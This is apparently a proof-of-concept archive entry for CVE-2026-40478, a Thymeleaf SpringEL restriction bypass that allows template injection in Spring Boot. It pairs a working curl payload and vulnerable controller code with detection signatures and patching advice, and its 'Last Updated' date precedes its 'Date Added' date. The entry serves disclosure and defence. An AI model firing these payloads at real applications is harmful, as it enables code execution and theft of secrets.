PoC Archive PoC Archive
CVE-2026-40478 / GHSA-xjw8-8c5c-9r79 category: web CVSS 9 (CRITICAL)
Patched

Thymeleaf Expression Bypass to SSTI - CVE-2026-40478

Published: 2026-11-27 • Researcher: Brian Vermeer (Snyk), repo author; fix published by the Thymeleaf maintainers

Target software Thymeleaf (server-side Java template engine), as used by Spring Boot web applications
Affected versions 3.1.3.RELEASE and prior; fixed in 3.1.4.RELEASE. The bundled demo uses Spring Boot 3.4.13 with the Thymeleaf version it manages, so confirm the resolved version with mvn dependency:tree before testing.
Status PoC
Severity Critical · CVSS 9
CVSS 9.0/10
Severity
Critical
CVE
CVE-2026-40478 / GHSA-xjw8-8c5c-9r79
Category
web
Affected product
Thymeleaf (server-side Java template engine), as used by Spring Boot web applications
Affected versions
3.1.3.RELEASE and prior; fixed in 3.1.4.RELEASE. The bundled demo uses Spring Boot 3.4.13 with the Thymeleaf version it manages, so confirm the resolved version with mvn dependency:tree before testing.
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-04-29
Author / ResearcherBrian Vermeer (Snyk), repo author; fix published by the Thymeleaf maintainers
CVE / AdvisoryCVE-2026-40478 / GHSA-xjw8-8c5c-9r79
Categoryweb
SeverityCritical
CVSS Score9.0 (CVSSv3.1, per NVD record)
StatusPoC
TagsThymeleaf, Spring Boot, SSTI, expression injection, sandbox bypass, CWE-1336, CWE-917, Java, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemThymeleaf (server-side Java template engine), as used by Spring Boot web applications
Versions Affected3.1.3.RELEASE and prior; fixed in 3.1.4.RELEASE. The bundled demo uses Spring Boot 3.4.13 with the Thymeleaf version it manages, so confirm the resolved version with mvn dependency:tree before testing.
Language / PlatformJava 21, Maven, Spring Boot 3.4.13, Thymeleaf Spring6 integration
Authentication RequiredNo (the demo endpoints are unauthenticated)
Network Access RequiredYes (HTTP GET with a query parameter)

Summary

CVE-2026-40478 is a bypass of the expression restrictions that Thymeleaf added to stop server-side template injection. When an application concatenates unvalidated user input into a template string, specific syntax patterns survive the restriction checks, so expressions that should be neutralized are still executed. This repository is a self-contained Spring Boot reproducer with safe and unsafe endpoints that shows the difference between passing user input as a model variable and splicing it into the template source. On the unsafe endpoints the published payload instantiates a Spring class and opens a file stream, which demonstrates arbitrary object creation through the template engine.

Vulnerability Details

Root Cause

Thymeleaf evaluates template expressions with SpringEL when it is used from a Spring application. The library tries to confine this evaluation by rejecting dangerous constructs in restricted mode, but the check is syntactic and can be evaded by alternative token separators inside the expression. The demo payload separates the new operator from the class name with a tab character rather than a space, and that spelling passes the restriction logic while still being parsed as an object instantiation expression. The preprocessed form, where an expression is written inline between double brackets or inside an attribute value, is processed after the surrounding text is assembled, so once user input has been concatenated into the template source there is no distinction left between developer text and attacker text. The upstream controller shows exactly this mistake on both the attribute variant and the inlined variant.

Attack Vector

An unauthenticated HTTP GET to the unsafe endpoints with a crafted query parameter:

  • /greet/unsafe?name=… builds the template text p th:text with the value concatenated inside an expression.
  • /page/unsafe?page=… builds the template text as double-bracket expression and renders it in TEXT template mode.

The payload for both is an expression such as neworg.springframework.core.io.FileSystemResource(‘file1.test’).getOutputStream().

Impact

Server-side template injection in the application process. The demonstrated primitive is arbitrary class instantiation and method invocation on the classpath, which the reproducer uses to create an empty file in the working directory. In a real application the same primitive reaches command execution by instantiating a process class or a script engine available on the classpath, and it can read application configuration, secrets, and database credentials in the meantime. The CVE is scored 9.0 because the sink is equivalent to remote code execution wherever a suitable gadget class exists.

Environment / Lab Setup

Output
OS:          Any host with JDK 21 and Maven 3.8+
Target:      The bundled demo application (Spring Boot 3.4.13 + Thymeleaf 3.1.3.RELEASE or earlier)
Attacker:    curl, browser, or Burp Suite
Tools:       JDK 21, Maven, curl

Setup Steps

Shell script
1
mvn spring-boot:run

The safe endpoints (/greet/safe and /page/safe) resolve a template name or pass the value as a model attribute and are not vulnerable; they exist for comparison.

Proof of Concept

Step-by-Step Reproduction

  1. Start the demo - Run the Spring Boot application from this folder and confirm it answers on port 8080.

  2. Check the safe baseline - The safe endpoint reflects the value without evaluating it as template syntax.

    Shell script
    1
    
    curl "http://localhost:8080/greet/safe?name=World"
  3. Trigger the attribute variant - The name parameter is spliced into a th:text expression, so the injected tab-separated new expression is evaluated.

    Shell script
    1
    
    curl "http://localhost:8080/greet/unsafe?name=new%09org.springframework.core.io.FileSystemResource('file1.test').getOutputStream()"
  4. Trigger the inlined variant - The same technique inside a double-bracket expression rendered in TEXT mode.

    Shell script
    1
    
    curl "http://localhost:8080/page/unsafe?page=new%09org.springframework.core.io.FileSystemResource('file2.file').getOutputStream()"
  5. Confirm the sink - The engine instantiated the Spring resource class and called a method that opens a stream, which materialises the empty files.

    Shell script
    1
    
    ls -l file1.test file2.file

Exploit Code

See src/main/java/nl/brianvemeer/demo/thymeleaf/CVE_2026_40478/MyController.java for the vulnerable endpoints and pom.xml for the dependency set.

Java source
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
@GetMapping("/greet/unsafe")
@ResponseBody
public String greetUnsafe(@RequestParam String name, Model model) {
    Context context = new Context();
    SpringTemplateEngine templateEngine = new SpringTemplateEngine();
    templateEngine.setTemplateResolver(new StringTemplateResolver());
    context.setVariable(name, name);
    String template = "<p th:text=\"'Hello ' + ${"+ name + "}\">...</p>";
    return templateEngine.process(template, context);
}

The attacker-controlled expression is the only part that changes between a benign request and the exploit:

Output
new%09org.springframework.core.io.FileSystemResource('file1.test').getOutputStream()

Expected Output

Output
$ ls -l file1.test file2.file
-rw-r--r-- 1 user user 0 <date> file1.test
-rw-r--r-- 1 user user 0 <date> file2.file

The response body is the rendered fragment from the template engine; success is confirmed by the files created in the process working directory, not by the HTTP status.

Detection & Indicators of Compromise

Output
${
[[${
new	org.springframework      (tab between the new operator and a class name)
T(java.lang.Runtime) or ProcessBuilder inside a parameter value
__${  ...  }__

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"Possible Thymeleaf CVE-2026-40478 SSTI probe"; flow:to_server,established; content:"%09"; http_uri; content:"org.springframework"; http_uri; reference:cve,2026-40478; sid:9004047;)

Remediation

ActionDetail
PatchUpgrade Thymeleaf to 3.1.4.RELEASE or later; Spring Boot users should move to a Boot release that manages the fixed version, and Red Hat consumers can track RHSA-2026:21772.
WorkaroundNever concatenate request data into template source. Pass values as context variables and let the template reference them, as the safe endpoints in this reproducer do.
Config HardeningKeep SpringEL restrictions enabled, avoid string template resolvers for user-facing rendering, and review code for StringTemplateResolver and process() calls that build template text from user input.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/bmvermeer/thymeleaf.CVE_2026_40478 (stars 1, Spring Boot demo project).

Review verdict: ingested. This is a genuine reproducer rather than a scanner or a write-up: the controller really concatenates request input into template source, the dependency set really targets the vulnerable engine, and the README documents concrete exploit URLs whose payload instantiates a class and invokes a method. The safe endpoints alongside them make the vulnerable pattern unambiguous. It is a demonstration, not a weaponised tool, so it is marked PoC.

License: the upstream repository has no LICENSE file and no explicit license statement; copyright remains with the author. Attribution and the source URL are retained. The Maven wrapper scripts, gitignore, and the trivial context-load test were deliberately not copied because they are not exploit-relevant.

Limitations: the demo proves object instantiation and a file-stream sink by creating empty files; it does not include a command-execution gadget, so “RCE” here is the impact class described by the advisory rather than something the repo demonstrates end to end. The exact bypass token is a tab, which URL-encodes to %09 and must not be normalised away by a proxy or by curl. The Thymeleaf version is managed by the Spring Boot parent, so the vulnerable release must be verified from the dependency tree, and if the parent already manages 3.1.4.RELEASE the thymeleaf.version property has to be pinned back to 3.1.3.RELEASE to reproduce the behaviour. No exploit code was executed while preparing this entry.